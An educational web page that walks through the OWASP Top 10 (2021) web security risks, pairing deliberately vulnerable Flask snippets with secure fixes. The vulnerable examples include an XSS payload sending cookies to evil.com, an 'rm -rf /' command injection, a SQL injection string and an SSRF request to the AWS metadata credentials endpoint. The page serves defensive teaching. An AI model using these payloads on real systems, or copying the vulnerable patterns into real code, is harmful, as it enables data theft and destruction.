Skip to content

OWASP Top 10

The OWASP Top 10 is the most widely recognized list of critical web application security risks, published by the Open Web Application Security Project (OWASP). Updated periodically based on real-world vulnerability data from hundreds of organizations, it serves as a standard awareness document that every web developer should know by heart.

The 2021 edition reflects the evolving threat landscape, with new categories like Insecure Design and Software and Data Integrity Failures acknowledging that security must be considered at every phase of the software development lifecycle — not just at the code level.


A01: Broken Access Control

Moved up from #5 to #1. This is the most serious risk in modern web applications. Broken access control means users can act outside their intended permissions — viewing other users’ data, modifying records they should not, or escalating their privilege level.

How It Happens

  • Missing authorization checks on API endpoints
  • Insecure Direct Object References (IDOR) — manipulating IDs in URLs or request bodies
  • CORS misconfiguration allowing unauthorized origins
  • Bypassing access controls by modifying URLs, HTML, or API requests
  • Missing function-level access control (admin endpoints accessible to regular users)

Vulnerable vs Secure Code

# VULNERABLE: No authorization check -- any user can view any profile
@app.route("/api/users/<user_id>/profile")
def get_profile(user_id):
user = db.query(User).get(user_id)
return jsonify(user.to_dict())
# SECURE: Verify the requesting user is authorized
@app.route("/api/users/<user_id>/profile")
@login_required
def get_profile(user_id):
current_user = get_current_user()
# Users can only view their own profile (or admins can view any)
if str(current_user.id) != user_id and not current_user.is_admin:
abort(403, description="You do not have permission to view this profile")
user = db.query(User).get(user_id)
if not user:
abort(404, description="User not found")
return jsonify(user.to_dict())

Prevention

  • Deny by default — every endpoint should require explicit authorization
  • Implement server-side access control checks (never rely on client-side controls)
  • Use indirect references (e.g., map user-specific IDs rather than exposing database PKs)
  • Log access control failures and alert on repeated violations
  • Rate limit API access to minimize automated exploitation
  • Disable web server directory listing and remove metadata files (.git, .env) from the web root

A02: Cryptographic Failures

Previously known as “Sensitive Data Exposure,” this category focuses on failures in cryptography that lead to exposure of sensitive data.

How It Happens

  • Transmitting data in clear text (HTTP, FTP, SMTP without TLS)
  • Using deprecated or weak cryptographic algorithms (MD5, SHA-1, DES)
  • Using default or weak encryption keys
  • Not enforcing HTTPS via HSTS headers
  • Storing passwords in plain text or using unsalted hashes
  • Using random number generators that are not cryptographically secure

Common Mistakes and Fixes

MistakeRiskFix
Storing passwords with MD5/SHA-1Rainbow table attacks crack them in secondsUse bcrypt, scrypt, or Argon2 with unique salts
Using HTTP for login formsCredentials sent in plain textEnforce HTTPS everywhere with HSTS
Hardcoded encryption keysKey exposed in source code or version controlUse a secrets manager (Vault, AWS KMS)
Using Math.random() for tokensPredictable outputUse crypto.randomBytes() or secrets.token_hex()
Not rotating keysProlonged exposure from a single breachImplement key rotation policies

Prevention

  • Classify data — identify what is sensitive and apply appropriate protections
  • Encrypt data in transit with TLS 1.2+ and enforce via HSTS
  • Encrypt data at rest with AES-256 and manage keys securely
  • Use strong password hashing (bcrypt, Argon2id) with unique per-user salts
  • Disable caching for responses containing sensitive data
  • Never store sensitive data you do not need — if you do not collect it, you cannot leak it

A03: Injection

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection, XSS, and command injection are the most common variants.

SQL Injection

The attacker inserts malicious SQL into a query through user input.

# VULNERABLE: String concatenation in SQL query
@app.route("/api/users")
def search_users():
username = request.args.get("username")
# NEVER DO THIS -- attacker can send: ' OR '1'='1' --
query = f"SELECT * FROM users WHERE username = '{username}'"
results = db.execute(query)
return jsonify([dict(row) for row in results])
# SECURE: Parameterized query
@app.route("/api/users")
def search_users():
username = request.args.get("username")
# The database driver safely escapes the parameter
query = "SELECT * FROM users WHERE username = %s"
results = db.execute(query, (username,))
return jsonify([dict(row) for row in results])
# EVEN BETTER: Use an ORM (SQLAlchemy)
@app.route("/api/users")
def search_users():
username = request.args.get("username")
users = User.query.filter_by(username=username).all()
return jsonify([user.to_dict() for user in users])

Cross-Site Scripting (XSS)

The attacker injects malicious scripts into web pages viewed by other users.

# VULNERABLE: Rendering user input without escaping
@app.route("/profile")
def profile():
name = request.args.get("name")
# If name is: <script>document.location='http://evil.com/steal?c='+document.cookie</script>
return f"<h1>Welcome, {name}</h1>"
# SECURE: Use a template engine that auto-escapes (Jinja2)
@app.route("/profile")
def profile():
name = request.args.get("name")
# Jinja2 auto-escapes HTML by default
return render_template("profile.html", name=name)
# profile.html:
# <h1>Welcome, {{ name }}</h1>
# Output: <h1>Welcome, &lt;script&gt;...&lt;/script&gt;</h1>

Command Injection

The attacker injects OS commands through application inputs.

# VULNERABLE: Passing user input directly to shell
import os
@app.route("/api/ping")
def ping():
host = request.args.get("host")
# Attacker sends: 127.0.0.1; rm -rf /
result = os.popen(f"ping -c 3 {host}").read()
return result
# SECURE: Use subprocess with argument list (no shell interpretation)
import subprocess
import re
@app.route("/api/ping")
def ping():
host = request.args.get("host")
# Validate input format (allowlist approach)
if not re.match(r'^[\w.-]+$', host):
abort(400, description="Invalid hostname")
# subprocess with list arguments avoids shell injection
result = subprocess.run(
["ping", "-c", "3", host],
capture_output=True, text=True, timeout=10
)
return result.stdout

Prevention (All Injection Types)

  • Use parameterized queries or prepared statements for all database operations
  • Use ORMs that handle escaping automatically
  • Validate and sanitize all input using allowlists (not denylists)
  • Use template engines with automatic output escaping for HTML rendering
  • Avoid passing user input to OS commands — if unavoidable, use argument arrays and strict validation
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact

A04: Insecure Design

This is a new category in the 2021 edition. It focuses on design-level flaws that cannot be fixed by perfect implementation. An insecure design is fundamentally different from an insecure implementation — you cannot fix a bad design with good code.

Examples

  • A password recovery flow that uses “security questions” with publicly available answers
  • A checkout system that trusts client-side price calculations
  • An API that has no rate limiting on authentication endpoints (enabling brute force)
  • A system that stores all user data in a single database with no segmentation

Prevention

  • Threat model during the design phase — use STRIDE to identify risks before writing code
  • Use secure design patterns (e.g., never trust client-side calculations, always validate on the server)
  • Establish paved roads — provide developers with secure libraries, frameworks, and templates
  • Define abuse cases alongside use cases — what would an attacker try?
  • Limit resource consumption by design (rate limiting, pagination, upload size limits)

A05: Security Misconfiguration

The most commonly seen issue in real-world deployments. Systems are insecure not because of code flaws but because of incorrect or missing configuration.

Common Misconfigurations

MisconfigurationRiskFix
Default credentials on databases/admin panelsImmediate full accessChange defaults before deployment, enforce strong passwords
Debug mode enabled in productionStack traces reveal internalsEnvironment-based configuration: DEBUG=false in production
Unnecessary services or ports openExpanded attack surfaceDisable or remove everything not explicitly needed
Missing security headersXSS, clickjacking, MIME sniffingAdd CSP, HSTS, X-Frame-Options, X-Content-Type-Options
Overly permissive CORSCross-origin data theftRestrict Access-Control-Allow-Origin to known domains
Cloud storage (S3) publicly accessibleData exposureSet buckets to private, use IAM policies for access
Verbose error messagesInformation disclosureReturn generic errors to users, log details server-side

Prevention

  • Implement a repeatable hardening process — automate configuration with IaC (Terraform, Ansible)
  • Use minimal platform — remove unused features, frameworks, and dependencies
  • Review and update configurations as part of the patch management process
  • Send security headers from your web server or application
  • Use automated scanners to detect misconfigurations (e.g., ScoutSuite for cloud, nikto for web servers)

A06: Vulnerable and Outdated Components

Using components (libraries, frameworks, dependencies) with known vulnerabilities is one of the easiest attack vectors to exploit because public exploits are often available.

The Supply Chain Risk

Your Application
├── express@4.17.1
│ ├── body-parser@1.19.0
│ │ └── qs@6.7.0 (known CVE!)
│ └── ...
├── lodash@4.17.15 (known CVE!)
└── jsonwebtoken@8.5.0
└── jws@3.2.2 (known CVE!)

A single vulnerable transitive dependency can compromise your entire application.

Prevention

  • Inventory your dependencies — know every direct and transitive dependency
  • Continuously monitor for new CVEs using npm audit, pip-audit, cargo audit, or Snyk
  • Automate updates with tools like Dependabot, Renovate, or Mend
  • Remove unused dependencies — every dependency is a liability
  • Subscribe to security advisories for your key frameworks and libraries
  • Use lockfiles (package-lock.json, Pipfile.lock) to ensure reproducible builds

A07: Identification and Authentication Failures

Weaknesses in authentication mechanisms that allow attackers to assume other users’ identities.

Common Weaknesses

  • Permitting brute force attacks (no rate limiting or account lockout)
  • Allowing weak passwords (“password123”, “admin”)
  • Using insecure password recovery (email-only, guessable security questions)
  • Storing passwords in plain text or with weak hashing (MD5, SHA-1)
  • Missing multi-factor authentication (MFA) for sensitive operations
  • Session IDs exposed in URLs
  • Session tokens that do not expire or are not invalidated on logout

Prevention

  • Implement multi-factor authentication for all critical accounts and operations
  • Enforce strong password policies (minimum 12 characters, check against breached password lists)
  • Use strong password hashing — bcrypt, scrypt, or Argon2id with appropriate cost factors
  • Rate limit authentication endpoints — use exponential backoff and account lockout
  • Generate high-entropy session tokens server-side using cryptographic randomness
  • Invalidate sessions on logout, password change, and after a reasonable timeout
  • Never expose session IDs in URLs

A08: Software and Data Integrity Failures

This category addresses failures to verify the integrity of software updates, critical data, and CI/CD pipelines. It includes the former “Insecure Deserialization” category.

Examples

  • Using libraries from untrusted sources without verifying checksums or signatures
  • Auto-update mechanisms that download updates without integrity verification
  • Insecure CI/CD pipelines where an attacker can inject malicious code
  • Insecure deserialization — accepting serialized objects from untrusted sources

Insecure Deserialization Example

# VULNERABLE: Deserializing untrusted data with pickle
import pickle
@app.route("/api/import", methods=["POST"])
def import_data():
# pickle.loads can execute arbitrary code!
data = pickle.loads(request.data)
return jsonify(data)
# SECURE: Use safe serialization formats (JSON)
import json
@app.route("/api/import", methods=["POST"])
def import_data():
try:
data = json.loads(request.data)
# Validate the data structure against a schema
validate(data, IMPORT_SCHEMA)
return jsonify(data)
except (json.JSONDecodeError, ValidationError) as e:
abort(400, description="Invalid data format")

Prevention

  • Verify digital signatures on software and data from external sources
  • Use trusted repositories and verify package integrity (checksums, signatures)
  • Secure your CI/CD pipeline — require code review, signed commits, and build integrity verification
  • Do not deserialize untrusted data using unsafe mechanisms (pickle, Java serialization)
  • Use Software Bill of Materials (SBOM) tools to track components
  • Implement Subresource Integrity (SRI) for externally hosted scripts and styles

A09: Security Logging and Monitoring Failures

Without adequate logging and monitoring, breaches go undetected for months. The median time to detect a breach is 207 days (IBM 2023 report).

What to Log

EventWhy
Authentication attempts (success and failure)Detect brute force attacks
Authorization failures (403 responses)Detect privilege escalation attempts
Input validation failuresDetect injection attempts
Application errors and exceptionsDetect exploitation attempts
Administrative actionsMaintain audit trail
Data access patternsDetect unusual data exfiltration

What NOT to Log

  • Passwords (even failed ones)
  • Credit card numbers or full SSNs
  • Session tokens or API keys
  • Personal health information or other regulated PII
  • Any data that would create a second breach target in your log files

Prevention

  • Log all security-relevant events with sufficient context (who, what, when, where, outcome)
  • Use structured logging (JSON) with consistent schemas for easy querying
  • Centralize logs using a SIEM or log aggregation tool (ELK, Splunk, Datadog)
  • Set up alerts for suspicious patterns (multiple failed logins, unusual data access)
  • Retain logs for an appropriate period based on compliance requirements
  • Test your alerting — run tabletop exercises to verify alerts trigger correctly

A10: Server-Side Request Forgery (SSRF)

SSRF occurs when an application fetches a remote resource based on user-supplied input without validating the destination. This allows attackers to make the server send requests to unintended locations — including internal services, metadata endpoints, and local resources.

How It Happens

Attacker sends:
POST /api/fetch-url
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
The server dutifully fetches the AWS metadata endpoint
and returns IAM credentials to the attacker.

Prevention

# VULNERABLE: Fetching any URL the user provides
import requests
@app.route("/api/fetch-url", methods=["POST"])
def fetch_url():
url = request.json.get("url")
# Attacker can target internal services!
response = requests.get(url)
return response.text
# SECURE: Validate and restrict the target URL
from urllib.parse import urlparse
import ipaddress
ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com"}
def is_safe_url(url):
"""Validate that the URL targets an allowed external domain."""
try:
parsed = urlparse(url)
# Only allow HTTPS
if parsed.scheme != "https":
return False
# Check against allowlist of domains
if parsed.hostname not in ALLOWED_DOMAINS:
return False
# Block private/internal IP ranges
try:
ip = ipaddress.ip_address(parsed.hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except ValueError:
pass # Hostname is not an IP -- domain allowlist handles it
return True
except Exception:
return False
@app.route("/api/fetch-url", methods=["POST"])
def fetch_url():
url = request.json.get("url")
if not is_safe_url(url):
abort(400, description="URL not allowed")
response = requests.get(url, timeout=5)
return response.text

Additional SSRF Prevention

  • Use allowlists for permitted domains and protocols — never denylists alone
  • Block access to internal networks and cloud metadata endpoints at the network level
  • Do not return raw responses to clients — parse and return only expected data
  • Disable HTTP redirects or re-validate after redirects
  • Use network segmentation to limit what the application server can reach

OWASP Top 10 at a Glance

#CategoryKey Mitigation
A01Broken Access ControlDeny by default, server-side checks, IDOR prevention
A02Cryptographic FailuresTLS everywhere, strong hashing, proper key management
A03InjectionParameterized queries, output encoding, input validation
A04Insecure DesignThreat modeling, abuse cases, secure design patterns
A05Security MisconfigurationHardened defaults, automated configuration, minimal platform
A06Vulnerable ComponentsDependency scanning, automated updates, SBOM
A07Auth FailuresMFA, strong hashing, rate limiting, session management
A08Integrity FailuresSignature verification, secure CI/CD, safe deserialization
A09Logging FailuresCentralized logging, alerting, structured log formats
A10SSRFURL allowlists, block internal networks, validate redirects

Next Steps